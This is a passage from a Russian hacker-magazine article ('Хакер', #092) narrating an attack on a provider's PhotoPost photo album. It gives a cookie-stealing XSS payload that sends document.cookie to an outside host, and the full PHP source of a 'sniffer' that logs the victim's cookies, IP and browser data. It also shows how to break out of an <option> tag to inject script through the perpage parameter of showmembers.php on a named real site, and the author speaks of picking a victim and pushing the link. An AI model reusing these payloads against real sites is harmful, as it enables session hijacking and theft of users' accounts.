Бажный провайдер – свободный интернет Ls01r (ls01r@yahoo.com) Хакер, номер #092, стр. 092-066-3 <script>open(‘http://stopthefraud.org/inf.php?’+document.cookie)</script> Где inf.php – мой снифер. Его код приведен ниже: <?php if(isset($QUERY_STRING)) { $date= date('d.m.y : H:i:s'); $fp = fopen("./slg.txt", "a"); fputs($fp,"Date and Tiime: $date\n IP: $REMOTE_ADDR\n Refer: $HTTP_REFER\n Cookie: $QUERY_STRING\n Agent: $HTTP_USER_AGENT\n Host: $HTTP_HOST Server: $SERVER_PORT Script: $SCRIPT_NAME\n Method: $REQUEST_METHOD\n "); fclose($fp); } ?> <script> window.location.href='http://photo.rol.ru/'</script> Все полученные данные снифер бережно сохраняет в лог (slg.txt), после чего происходит редирект на фотоальбом (photo.rol.ru). В принципе, у меня все было готово для атаки, оставалось лишь выбрать жертву и впихнуть ей линк. Но что-то заставило меня исследовать альбом дальше. И, как оказалось, не зря. На нескольких секюрити-лентах я прочитал заметки о наличии xss в PhotoPost, но все приводившиеся примеры не работали в моем случае. Тогда я решил самостоятельно протестировать указанные в багтраках скрипты. Особенно мое внимание привлек скрипт showmembers.php. Подставив всем известную строчку <script>alert(‘XSS’)</script> в значение параметра perpage, я не получил желаемого результата, что нисколько не удивило меня. Просмотрев хтмл-код страницы, я нашел подставленные данные: <option selected="selected"><script>alert('xss')</script></option> Для успешного выполнения кода было необходимо закрыть тэг <option>, что я и сделал. Теперь мой запрос принял вид: http://photo.rol.ru/showmembers.php?cat=1&si=&page=7&sort=7&perpage=</option><script>alert(‘XSS’)</script> |